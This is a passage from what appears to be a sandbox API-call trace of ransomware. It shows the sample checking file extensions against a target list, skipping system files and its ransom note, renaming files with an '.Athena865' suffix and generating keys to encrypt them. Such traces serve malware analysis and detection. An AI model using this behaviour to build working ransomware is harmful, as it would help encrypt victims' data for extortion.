(lpString1="get", lpString2="mar") returned -1 [0053.213] lstrlenW (lpString="marshal") returned 7 [0053.213] lstrcmpiW (lpString1="oTarget", lpString2="marshal") returned 1 [0053.213] lstrlenW (lpString="mas") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="mas") returned -1 [0053.213] lstrlenW (lpString="mav") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="mav") returned -1 [0053.213] lstrlenW (lpString="maw") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="maw") returned -1 [0053.213] lstrlenW (lpString="mdbhtml") returned 7 [0053.213] lstrcmpiW (lpString1="oTarget", lpString2="mdbhtml") returned 1 [0053.214] lstrlenW (lpString="mdn") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mdn") returned -1 [0053.214] lstrlenW (lpString="mdt") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mdt") returned -1 [0053.214] lstrlenW (lpString="mfd") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mfd") returned -1 [0053.214] lstrlenW (lpString="mpd") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mpd") returned -1 [0053.214] lstrlenW (lpString="mrg") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mrg") returned -1 [0053.214] lstrlenW (lpString="mud") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mud") returned -1 [0053.214] lstrlenW (lpString="mwb") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="mwb") returned -1 [0053.214] lstrlenW (lpString="myd") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="myd") returned -1 [0053.214] lstrlenW (lpString="ndf") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="ndf") returned -1 [0053.214] lstrlenW (lpString="nnt") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="nnt") returned -1 [0053.214] lstrlenW (lpString="nrmlib") returned 6 [0053.214] lstrcmpiW (lpString1="Target", lpString2="nrmlib") returned 1 [0053.214] lstrlenW (lpString="ns2") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="ns2") returned -1 [0053.214] lstrlenW (lpString="ns3") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="ns3") returned -1 [0053.214] lstrlenW (lpString="ns4") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="ns4") returned -1 [0053.214] lstrlenW (lpString="nsf") returned 3 [0053.214] lstrcmpiW (lpString1="get", lpString2="nsf") returned -1 [0053.214] lstrlenW (lpString="nv") returned 2 [0053.214] lstrcmpiW (lpString1="et", lpString2="nv") returned -1 [0053.214] lstrlenW (lpString="nv2") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="nv2") returned -1 [0053.215] lstrlenW (lpString="nwdb") returned 4 [0053.215] lstrcmpiW (lpString1="rget", lpString2="nwdb") returned 1 [0053.215] lstrlenW (lpString="nyf") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="nyf") returned -1 [0053.215] lstrlenW (lpString="odb") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="odb") returned -1 [0053.215] lstrlenW (lpString="odb") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="odb") returned -1 [0053.215] lstrlenW (lpString="oqy") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="oqy") returned -1 [0053.215] lstrlenW (lpString="ora") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="ora") returned -1 [0053.215] lstrlenW (lpString="orx") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="orx") returned -1 [0053.215] lstrlenW (lpString="owc") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="owc") returned -1 [0053.215] lstrlenW (lpString="p96") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="p96") returned -1 [0053.215] lstrlenW (lpString="p97") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="p97") returned -1 [0053.215] lstrlenW (lpString="pan") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="pan") returned -1 [0053.215] lstrlenW (lpString="pdb") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="pdb") returned -1 [0053.215] lstrlenW (lpString="pdm") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="pdm") returned -1 [0053.215] lstrlenW (lpString="pnz") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="pnz") returned -1 [0053.215] lstrlenW (lpString="qry") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="qry") returned -1 [0053.215] lstrlenW (lpString="qvd") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="qvd") returned -1 [0053.215] lstrlenW (lpString="rbf") returned 3 [0053.215] lstrcmpiW (lpString1="get", lpString2="rbf") returned -1 [0053.216] lstrlenW (lpString="rctd") returned 4 [0053.216] lstrcmpiW (lpString1="rget", lpString2="rctd") returned 1 [0053.216] lstrlenW (lpString="rod") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="rod") returned -1 [0053.216] lstrlenW (lpString="rodx") returned 4 [0053.216] lstrcmpiW (lpString1="rget", lpString2="rodx") returned -1 [0053.216] lstrlenW (lpString="rpd") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="rpd") returned -1 [0053.216] lstrlenW (lpString="rsd") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="rsd") returned -1 [0053.216] lstrlenW (lpString="sas7bdat") returned 8 [0053.216] lstrcmpiW (lpString1="ToTarget", lpString2="sas7bdat") returned 1 [0053.216] lstrlenW (lpString="sbf") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="sbf") returned -1 [0053.216] lstrlenW (lpString="scx") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="scx") returned -1 [0053.216] lstrlenW (lpString="sdb") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="sdb") returned -1 [0053.216] lstrlenW (lpString="sdc") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="sdc") returned -1 [0053.216] lstrlenW (lpString="sdf") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="sdf") returned -1 [0053.216] lstrlenW (lpString="sis") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="sis") returned -1 [0053.216] lstrlenW (lpString="spq") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="spq") returned -1 [0053.216] lstrlenW (lpString="te") returned 2 [0053.216] lstrcmpiW (lpString1="et", lpString2="te") returned -1 [0053.216] lstrlenW (lpString="teacher") returned 7 [0053.216] lstrcmpiW (lpString1="oTarget", lpString2="teacher") returned -1 [0053.216] lstrlenW (lpString="tmd") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="tmd") returned -1 [0053.216] lstrlenW (lpString="tps") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="tps") returned -1 [0053.216] lstrlenW (lpString="trc") returned 3 [0053.216] lstrcmpiW (lpString1="get", lpString2="trc") returned -1 [0053.217] lstrlenW (lpString="trc") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="trc") returned -1 [0053.217] lstrlenW (lpString="trm") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="trm") returned -1 [0053.217] lstrlenW (lpString="udb") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="udb") returned -1 [0053.217] lstrlenW (lpString="udl") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="udl") returned -1 [0053.217] lstrlenW (lpString="usr") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="usr") returned -1 [0053.217] lstrlenW (lpString="v12") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="v12") returned -1 [0053.217] lstrlenW (lpString="vis") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="vis") returned -1 [0053.217] lstrlenW (lpString="vpd") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="vpd") returned -1 [0053.217] lstrlenW (lpString="vvv") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="vvv") returned -1 [0053.217] lstrlenW (lpString="wdb") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="wdb") returned -1 [0053.217] lstrlenW (lpString="wmdb") returned 4 [0053.217] lstrcmpiW (lpString1="rget", lpString2="wmdb") returned -1 [0053.217] lstrlenW (lpString="wrk") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="wrk") returned -1 [0053.217] lstrlenW (lpString="xdb") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="xdb") returned -1 [0053.217] lstrlenW (lpString="xld") returned 3 [0053.217] lstrcmpiW (lpString1="get", lpString2="xld") returned -1 [0053.217] lstrlenW (lpString="xmlff") returned 5 [0053.217] lstrcmpiW (lpString1="arget", lpString2="xmlff") returned -1 [0053.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865") returned 105 [0053.217] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\compressed (zipped) folder.zfsendtotarget"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\compressed (zipped) folder.zfsendtotarget.athena865"), dwFlags=0x1) returned 1 [0053.218] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\compressed (zipped) folder.zfsendtotarget.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3) returned 1 [0053.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.219] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.219] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.219] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x154 [0053.221] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0053.222] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.223] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.223] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.223] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.223] CloseHandle (hObject=0x154) returned 1 [0053.223] CloseHandle (hObject=0x17c) returned 1 [0053.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.224] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb52ab9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".") returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="..") returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="windows") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="bootmgr") returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="temp") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="pagefile.sys") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="boot") returned 1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="ids.txt") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="ntuser.dat") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="perflogs") returned -1 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="MSBuild") returned -1 [0053.224] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0053.224] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Desktop (create shortcut).DeskLink" | out: lpString1="Desktop (create shortcut).DeskLink") returned="Desktop (create shortcut).DeskLink" [0053.224] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0053.224] lstrlenW (lpString="Athena865") returned 9 [0053.224] lstrcmpiW (lpString1=".DeskLink", lpString2="Athena865") returned -1 [0053.224] lstrlenW (lpString=".dll") returned 4 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".dll") returned 1 [0053.224] lstrlenW (lpString=".lnk") returned 4 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".lnk") returned 1 [0053.224] lstrlenW (lpString=".ini") returned 4 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".ini") returned 1 [0053.224] lstrlenW (lpString=".sys") returned 4 [0053.224] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".sys") returned 1 [0053.224] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0053.225] lstrlenW (lpString="bak") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="bak") returned 1 [0053.225] lstrlenW (lpString="ba_") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="ba_") returned 1 [0053.225] lstrlenW (lpString="dbb") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="dbb") returned 1 [0053.225] lstrlenW (lpString="vmdk") returned 4 [0053.225] lstrcmpiW (lpString1="Link", lpString2="vmdk") returned -1 [0053.225] lstrlenW (lpString="rar") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="rar") returned -1 [0053.225] lstrlenW (lpString="zip") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="zip") returned -1 [0053.225] lstrlenW (lpString="tgz") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="tgz") returned -1 [0053.225] lstrlenW (lpString="vbox") returned 4 [0053.225] lstrcmpiW (lpString1="Link", lpString2="vbox") returned -1 [0053.225] lstrlenW (lpString="vdi") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="vdi") returned -1 [0053.225] lstrlenW (lpString="vhd") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="vhd") returned -1 [0053.225] lstrlenW (lpString="vhdx") returned 4 [0053.225] lstrcmpiW (lpString1="Link", lpString2="vhdx") returned -1 [0053.225] lstrlenW (lpString="avhd") returned 4 [0053.225] lstrcmpiW (lpString1="Link", lpString2="avhd") returned 1 [0053.225] lstrlenW (lpString="db") returned 2 [0053.225] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0053.225] lstrlenW (lpString="db2") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="db2") returned 1 [0053.225] lstrlenW (lpString="db3") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="db3") returned 1 [0053.225] lstrlenW (lpString="dbf") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="dbf") returned 1 [0053.225] lstrlenW (lpString="mdf") returned 3 [0053.225] lstrcmpiW (lpString1="ink", lpString2="mdf") returned -1 [0053.226] lstrlenW (lpString="mdb") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="mdb") returned -1 [0053.226] lstrlenW (lpString="sql") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="sql") returned -1 [0053.226] lstrlenW (lpString="sqlite") returned 6 [0053.226] lstrcmpiW (lpString1="skLink", lpString2="sqlite") returned -1 [0053.226] lstrlenW (lpString="sqlite3") returned 7 [0053.226] lstrcmpiW (lpString1="eskLink", lpString2="sqlite3") returned -1 [0053.226] lstrlenW (lpString="sqlitedb") returned 8 [0053.226] lstrcmpiW (lpString1="DeskLink", lpString2="sqlitedb") returned -1 [0053.226] lstrlenW (lpString="xml") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="xml") returned -1 [0053.226] lstrlenW (lpString="$er") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="$er") returned 1 [0053.226] lstrlenW (lpString="4dd") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="4dd") returned 1 [0053.226] lstrlenW (lpString="4dl") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="4dl") returned 1 [0053.226] lstrlenW (lpString="^^^") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="^^^") returned 1 [0053.226] lstrlenW (lpString="abs") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="abs") returned 1 [0053.226] lstrlenW (lpString="abx") returned 3 [0053.226] lstrcmpiW (lpString1="ink", lpString2="abx") returned 1 [0053.226] lstrlenW (lpString="accdb") returned 5 [0053.226] lstrcmpiW (lpString1="kLink", lpString2="accdb") returned 1 [0053.226] lstrlenW (lpString="accdc") returned 5 [0053.226] lstrcmpiW (lpString1="kLink", lpString2="accdc") returned 1 [0053.226] lstrlenW (lpString="accde") returned 5 [0053.226] lstrcmpiW (lpString1="kLink", lpString2="accde") returned 1 [0053.226] lstrlenW (lpString="accdr") returned 5 [0053.226] lstrcmpiW (lpString1="kLink", lpString2="accdr") returned 1 [0053.226] lstrlenW (lpString="accdt") returned 5 [0053.226] lstrcmpiW (lpString1="kLink", lpString2="accdt") returned 1 [0053.227] lstrlenW (lpString="accdw") returned 5 [0053.227] lstrcmpiW (lpString1="kLink", lpString2="accdw") returned 1 [0053.227] lstrlenW (lpString="accft") returned 5 [0053.227] lstrcmpiW (lpString1="kLink", lpString2="accft") returned 1 [0053.227] lstrlenW (lpString="adb") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="adb") returned 1 [0053.227] lstrlenW (lpString="adb") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="adb") returned 1 [0053.227] lstrlenW (lpString="ade") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="ade") returned 1 [0053.227] lstrlenW (lpString="adf") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="adf") returned 1 [0053.227] lstrlenW (lpString="adn") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="adn") returned 1 [0053.227] lstrlenW (lpString="adp") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="adp") returned 1 [0053.227] lstrlenW (lpString="alf") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="alf") returned 1 [0053.227] lstrlenW (lpString="ask") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="ask") returned 1 [0053.227] lstrlenW (lpString="btr") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="btr") returned 1 [0053.227] lstrlenW (lpString="cat") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="cat") returned 1 [0053.227] lstrlenW (lpString="cdb") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="cdb") returned 1 [0053.227] lstrlenW (lpString="ckp") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="ckp") returned 1 [0053.227] lstrlenW (lpString="cma") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="cma") returned 1 [0053.227] lstrlenW (lpString="cpd") returned 3 [0053.227] lstrcmpiW (lpString1="ink", lpString2="cpd") returned 1 [0053.227] lstrlenW (lpString="dacpac") returned 6 [0053.227] lstrcmpiW (lpString1="skLink", lpString2="dacpac") returned 1 [0053.227] lstrlenW (lpString="dad") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dad") returned 1 [0053.228] lstrlenW (lpString="dadiagrams") returned 10 [0053.228] lstrcmpiW (lpString1=").DeskLink", lpString2="dadiagrams") returned -1 [0053.228] lstrlenW (lpString="daschema") returned 8 [0053.228] lstrcmpiW (lpString1="DeskLink", lpString2="daschema") returned 1 [0053.228] lstrlenW (lpString="db-journal") returned 10 [0053.228] lstrcmpiW (lpString1=").DeskLink", lpString2="db-journal") returned -1 [0053.228] lstrlenW (lpString="db-shm") returned 6 [0053.228] lstrcmpiW (lpString1="skLink", lpString2="db-shm") returned 1 [0053.228] lstrlenW (lpString="db-wal") returned 6 [0053.228] lstrcmpiW (lpString1="skLink", lpString2="db-wal") returned 1 [0053.228] lstrlenW (lpString="dbc") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dbc") returned 1 [0053.228] lstrlenW (lpString="dbs") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dbs") returned 1 [0053.228] lstrlenW (lpString="dbt") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dbt") returned 1 [0053.228] lstrlenW (lpString="dbv") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dbv") returned 1 [0053.228] lstrlenW (lpString="dbx") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dbx") returned 1 [0053.228] lstrlenW (lpString="dcb") returned 3 [0053.228] lstrcmpiW (lpString1="ink", lpString2="dcb") returned 1 [0053.228] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop (create shortcut).DeskLink.Athena865") returned 98 [0053.228] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop (create shortcut).desklink"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop (create shortcut).DeskLink.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop (create shortcut).desklink.athena865"), dwFlags=0x1) returned 1 [0053.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\Desktop (create shortcut).DeskLink.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\desktop (create shortcut).desklink.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.231] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7) returned 1 [0053.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.231] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.232] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.232] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.232] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x154 [0053.234] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0053.235] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.235] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.235] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.236] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.236] CloseHandle (hObject=0x154) returned 1 [0053.236] CloseHandle (hObject=0x17c) returned 1 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.237] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 